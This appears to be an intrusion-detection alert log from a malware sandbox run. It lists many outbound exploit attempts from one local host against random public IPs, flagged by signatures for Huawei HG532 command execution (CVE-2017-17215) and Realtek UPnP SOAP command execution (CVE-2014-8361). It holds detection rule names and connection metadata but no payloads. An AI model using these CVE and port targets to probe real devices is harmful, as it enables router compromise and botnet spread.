07/20/24-23:01:20.110860	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53424	37215	192.168.2.23	216.95.253.44
07/20/24-23:01:41.648203	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41728	52869	192.168.2.23	150.183.54.123
07/20/24-23:01:53.494330	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51492	52869	192.168.2.23	69.58.59.239
07/20/24-23:01:06.988055	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39754	37215	192.168.2.23	197.232.66.29
07/20/24-23:01:00.640312	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57096	37215	192.168.2.23	197.124.34.30
07/20/24-23:01:40.322860	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48070	37215	192.168.2.23	197.89.86.7
07/20/24-23:01:04.031511	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44118	37215	192.168.2.23	41.78.221.227
07/20/24-23:01:11.631728	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33218	37215	192.168.2.23	167.41.22.33
07/20/24-23:01:42.411586	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55468	52869	192.168.2.23	123.91.96.233
07/20/24-23:01:58.945733	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51978	52869	192.168.2.23	48.97.254.151
07/20/24-23:01:31.328855	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33584	52869	192.168.2.23	100.45.46.163
07/20/24-23:01:08.684499	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34566	52869	192.168.2.23	123.31.253.14
07/20/24-23:01:27.654173	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35068	37215	192.168.2.23	197.113.24.234
07/20/24-23:01:03.231165	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38630	52869	192.168.2.23	216.151.5.50
07/20/24-23:01:45.270636	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41154	52869	192.168.2.23	126.252.220.138
07/20/24-23:01:34.060991	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45286	37215	192.168.2.23	197.0.183.138
07/20/24-23:01:45.683188	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49128	52869	192.168.2.23	66.34.14.57
07/20/24-23:01:02.048367	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48934	37215	192.168.2.23	157.121.108.79
07/20/24-23:00:57.221570	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42574	37215	192.168.2.23	41.240.149.129
07/20/24-23:01:20.202325	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34146	37215	192.168.2.23	41.130.131.66
07/20/24-23:03:53.978924	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37004	52869	192.168.2.23	24.105.77.87
07/20/24-23:01:49.921076	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44200	52869	192.168.2.23	75.3.82.5
07/20/24-23:01:42.535137	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43620	52869	192.168.2.23	104.24.229.93
07/20/24-23:01:10.539170	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53906	52869	192.168.2.23	167.63.84.166
07/20/24-23:01:57.022868	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51944	52869	192.168.2.23	186.85.31.59
07/20/24-23:01:02.048367	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33230	37215	192.168.2.23	41.199.182.217
07/20/24-23:01:50.246033	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54622	52869	192.168.2.23	92.182.23.52
07/20/24-23:01:07.033766	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54080	37215	192.168.2.23	124.52.73.80
07/20/24-23:00:59.187842	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52234	37215	192.168.2.23	157.17.98.184
07/20/24-23:01:07.082045	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60840	37215	192.168.2.23	41.40.31.82
07/20/24-23:01:31.982479	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39280	37215	192.168.2.23	157.123.230.172
07/20/24-23:01:59.704241	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52420	52869	192.168.2.23	162.200.88.148
07/20/24-23:01:07.054782	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38094	37215	192.168.2.23	41.70.153.225
07/20/24-23:01:43.944379	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33872	52869	192.168.2.23	175.186.207.187
07/20/24-23:01:34.050313	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50522	37215	192.168.2.23	41.201.163.171
07/20/24-23:01:08.572790	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36436	52869	192.168.2.23	25.68.235.59
07/20/24-23:01:20.096752	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59220	37215	192.168.2.23	157.154.59.174
07/20/24-23:01:48.177682	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58450	52869	192.168.2.23	158.186.31.24
07/20/24-23:01:10.641552	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37582	52869	192.168.2.23	2.129.228.59
07/20/24-23:01:02.462458	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56652	52869	192.168.2.23	219.105.54.148
07/20/24-23:01:46.158533	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54570	52869	192.168.2.23	63.237.109.125
07/20/24-23:01:02.048214	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49516	37215	192.168.2.23	157.195.164.122
07/20/24-23:01:48.649139	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54854	52869	192.168.2.23	155.90.77.175
07/20/24-23:01:07.061779	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46432	37215	192.168.2.23	157.45.105.246
07/20/24-23:01:20.119972	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44554	37215	192.168.2.23	41.175.17.192
07/20/24-23:01:49.158487	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50088	52869	192.168.2.23	116.148.59.65
07/20/24-23:00:59.161892	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52752	37215	192.168.2.23	157.176.101.215
07/20/24-23:01:31.313163	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48230	52869	192.168.2.23	109.17.111.246
07/20/24-23:01:47.005094	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49358	52869	192.168.2.23	123.198.127.136
07/20/24-23:00:59.153608	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53610	37215	192.168.2.23	41.178.183.186
07/20/24-23:01:04.950811	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33400	52869	192.168.2.23	111.160.194.136
07/20/24-23:01:09.002255	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38116	52869	192.168.2.23	9.91.73.111
07/20/24-23:01:46.725077	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40848	52869	192.168.2.23	200.222.88.102
07/20/24-23:01:21.928521	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42742	37215	192.168.2.23	75.171.235.169
07/20/24-23:01:00.633744	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59806	37215	192.168.2.23	197.99.9.223
07/20/24-23:01:31.977603	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52170	37215	192.168.2.23	41.155.8.82
07/20/24-23:01:04.247958	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60760	37215	192.168.2.23	197.8.78.212
07/20/24-23:01:08.563416	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38528	52869	192.168.2.23	160.189.204.148
07/20/24-23:01:02.223897	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57776	52869	192.168.2.23	189.28.183.134
07/20/24-23:01:27.650871	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49954	37215	192.168.2.23	157.47.112.243
07/20/24-23:01:42.111275	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54216	52869	192.168.2.23	142.105.178.104
07/20/24-23:01:47.663629	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34096	52869	192.168.2.23	108.242.179.170
07/20/24-23:01:55.903209	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48072	52869	192.168.2.23	175.53.167.172
07/20/24-23:01:53.387026	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56040	52869	192.168.2.23	138.65.97.97
07/20/24-23:01:42.131607	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53892	52869	192.168.2.23	23.3.191.75
07/20/24-23:01:45.370481	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56636	52869	192.168.2.23	130.200.160.126
07/20/24-23:01:11.818830	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36700	37215	192.168.2.23	197.202.17.201
07/20/24-23:01:44.624686	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57118	52869	192.168.2.23	155.161.7.211
07/20/24-23:01:45.134490	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56872	52869	192.168.2.23	67.228.135.229
07/20/24-23:01:34.044717	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59238	37215	192.168.2.23	157.189.171.193
07/20/24-23:01:48.308623	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58142	52869	192.168.2.23	1.111.156.136
07/20/24-23:01:46.955966	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55862	52869	192.168.2.23	161.89.104.148
07/20/24-23:02:07.942303	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53118	52869	192.168.2.23	167.225.66.116
07/20/24-23:01:42.592736	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35520	52869	192.168.2.23	103.218.156.193
07/20/24-23:01:45.887574	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58218	52869	192.168.2.23	133.73.57.190
07/20/24-23:01:43.425298	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43806	52869	192.168.2.23	172.124.39.209
07/20/24-23:01:49.172806	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35860	52869	192.168.2.23	163.195.26.201
07/20/24-23:01:42.462291	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51560	52869	192.168.2.23	169.160.238.67
07/20/24-23:01:21.954501	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56672	37215	192.168.2.23	44.137.32.198
07/20/24-23:01:45.074222	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45436	52869	192.168.2.23	24.42.93.65
07/20/24-23:01:03.247233	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53918	52869	192.168.2.23	148.211.13.100
07/20/24-23:01:34.043969	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49582	37215	192.168.2.23	125.81.157.125
07/20/24-23:01:47.193367	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42084	52869	192.168.2.23	147.248.255.23
07/20/24-23:01:12.806062	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46250	52869	192.168.2.23	38.189.198.237
07/20/24-23:01:01.758577	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57210	52869	192.168.2.23	135.9.168.169
07/20/24-23:01:54.310738	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51218	52869	192.168.2.23	65.202.231.124
07/20/24-23:01:40.372003	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59172	37215	192.168.2.23	197.221.100.57
07/20/24-23:02:06.738802	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42618	52869	192.168.2.23	32.132.194.251
07/20/24-23:01:44.940207	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41092	52869	192.168.2.23	139.85.109.63
07/20/24-23:01:50.131564	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51436	52869	192.168.2.23	105.84.86.167
07/20/24-23:01:08.638879	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56182	52869	192.168.2.23	148.211.13.100
07/20/24-23:02:00.006558	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60958	52869	192.168.2.23	221.117.11.208
07/20/24-23:01:08.572790	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36436	52869	192.168.2.23	25.68.235.59
07/20/24-23:01:44.338159	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49602	52869	192.168.2.23	90.112.61.164
07/20/24-23:01:44.484128	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38784	52869	192.168.2.23	39.212.80.61
07/20/24-23:01:11.818830	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59012	37215	192.168.2.23	157.178.193.168
07/20/24-23:01:48.177682	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58450	52869	192.168.2.23	158.186.31.24
07/20/24-23:01:07.062666	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41676	37215	192.168.2.23	157.254.9.54
07/20/24-23:01:47.692050	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42114	52869	192.168.2.23	189.225.243.103
07/20/24-23:01:02.046626	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35136	37215	192.168.2.23	157.167.188.131
07/20/24-23:01:50.798234	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56576	52869	192.168.2.23	152.241.189.22
07/20/24-23:01:08.565610	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60398	52869	192.168.2.23	184.112.202.180
07/20/24-23:01:08.567236	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57386	52869	192.168.2.23	176.229.44.248
07/20/24-23:01:12.806839	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58376	52869	192.168.2.23	183.125.8.233
07/20/24-23:01:47.943232	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39244	52869	192.168.2.23	138.199.35.177
07/20/24-23:01:40.334452	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38912	37215	192.168.2.23	197.196.229.191
07/20/24-23:02:02.537098	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41216	52869	192.168.2.23	96.158.44.47
07/20/24-23:00:59.203960	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54948	37215	192.168.2.23	157.23.56.129
07/20/24-23:01:43.160211	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38978	52869	192.168.2.23	200.2.226.98
07/20/24-23:01:02.048214	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50834	52869	192.168.2.23	194.63.61.192
07/20/24-23:01:08.691384	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46394	52869	192.168.2.23	153.94.71.254
07/20/24-23:01:02.076414	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58904	37215	192.168.2.23	41.41.115.0
07/20/24-23:01:59.643531	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44200	52869	192.168.2.23	216.13.194.92
07/20/24-23:01:43.443111	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50606	52869	192.168.2.23	90.126.99.183
07/20/24-23:01:47.805449	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44524	52869	192.168.2.23	180.60.94.64
07/20/24-23:01:49.615311	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48022	52869	192.168.2.23	185.10.206.42
07/20/24-23:01:20.591863	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46382	52869	192.168.2.23	43.124.104.253
07/20/24-23:01:54.515976	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60950	52869	192.168.2.23	44.193.90.160
07/20/24-23:01:42.285526	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43896	52869	192.168.2.23	62.203.112.129
07/20/24-23:00:57.222139	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50028	37215	192.168.2.23	27.41.96.136
07/20/24-23:01:41.263140	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47540	52869	192.168.2.23	156.42.191.231
07/20/24-23:01:49.254553	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48726	52869	192.168.2.23	32.103.164.103
07/20/24-23:01:11.634372	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55954	37215	192.168.2.23	99.67.37.89
07/20/24-23:01:11.816521	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42760	37215	192.168.2.23	197.136.152.193
07/20/24-23:01:05.033018	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45276	52869	192.168.2.23	130.190.148.15
07/20/24-23:01:57.321432	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47342	52869	192.168.2.23	47.201.63.165
07/20/24-23:01:02.047411	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47744	37215	192.168.2.23	41.16.105.104
07/20/24-23:01:44.766696	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57578	52869	192.168.2.23	135.215.110.183
07/20/24-23:01:31.975107	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46984	37215	192.168.2.23	197.141.21.74
07/20/24-23:01:31.322217	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52702	52869	192.168.2.23	70.161.8.187
07/20/24-23:01:34.045749	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48132	37215	192.168.2.23	157.206.45.101
07/20/24-23:01:54.642694	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36822	52869	192.168.2.23	165.191.241.94
07/20/24-23:01:00.641498	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33920	37215	192.168.2.23	145.149.22.179
07/20/24-23:01:11.816074	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39208	37215	192.168.2.23	147.129.214.239
07/20/24-23:01:47.693711	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37946	52869	192.168.2.23	38.115.164.104
07/20/24-23:01:04.040812	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58132	37215	192.168.2.23	197.60.100.137
07/20/24-23:01:03.083161	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52478	52869	192.168.2.23	132.33.116.164
07/20/24-23:01:42.985200	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48740	52869	192.168.2.23	61.169.227.46
07/20/24-23:01:55.851237	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53532	52869	192.168.2.23	162.200.88.148
07/20/24-23:01:34.044152	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34678	37215	192.168.2.23	157.233.70.28
07/20/24-23:00:57.220833	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33462	37215	192.168.2.23	41.107.86.189
07/20/24-23:01:20.140632	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49352	37215	192.168.2.23	41.203.231.160
07/20/24-23:01:43.906353	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49662	52869	192.168.2.23	205.59.131.231
07/20/24-23:01:14.103467	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55324	37215	192.168.2.23	41.90.164.103
07/20/24-23:01:42.466150	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58916	52869	192.168.2.23	36.185.15.35
07/20/24-23:02:20.036130	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43370	52869	192.168.2.23	103.119.134.177
07/20/24-23:01:46.247879	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45630	52869	192.168.2.23	131.27.111.80
07/20/24-23:01:47.383355	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44096	52869	192.168.2.23	48.223.177.47
07/20/24-23:01:42.603963	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55590	52869	192.168.2.23	99.98.54.155
07/20/24-23:01:25.476673	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39008	52869	192.168.2.23	146.105.181.156
07/20/24-23:01:45.713934	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60998	52869	192.168.2.23	97.24.147.38
07/20/24-23:01:00.633810	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40002	37215	192.168.2.23	157.59.116.210
07/20/24-23:01:08.609855	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60378	52869	192.168.2.23	216.170.33.89
07/20/24-23:01:11.632393	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38378	37215	192.168.2.23	197.21.89.53
07/20/24-23:00:59.157444	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44268	37215	192.168.2.23	197.187.1.61
07/20/24-23:01:08.650213	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44102	52869	192.168.2.23	115.161.142.144
07/20/24-23:01:50.901722	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58344	52869	192.168.2.23	162.93.73.144
07/20/24-23:01:20.140632	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43374	37215	192.168.2.23	197.26.212.186
07/20/24-23:01:47.028157	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54620	52869	192.168.2.23	136.248.242.20
07/20/24-23:01:41.280928	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43900	52869	192.168.2.23	223.203.126.251
07/20/24-23:01:53.392805	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54570	52869	192.168.2.23	149.78.178.94
07/20/24-23:02:43.072508	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43146	52869	192.168.2.23	44.124.10.6
07/20/24-23:01:42.617689	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60852	52869	192.168.2.23	77.135.26.34
07/20/24-23:01:55.105161	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40212	52869	192.168.2.23	129.221.8.145
07/20/24-23:01:31.991548	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44750	37215	192.168.2.23	88.106.127.51
07/20/24-23:01:46.561347	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53114	52869	192.168.2.23	63.138.19.167
07/20/24-23:01:42.670071	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55124	52869	192.168.2.23	197.159.127.103
07/20/24-23:02:41.032515	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44618	52869	192.168.2.23	143.147.42.76
07/20/24-23:01:00.654988	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35058	37215	192.168.2.23	105.15.118.157
07/20/24-23:01:42.930628	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40272	52869	192.168.2.23	155.96.29.107
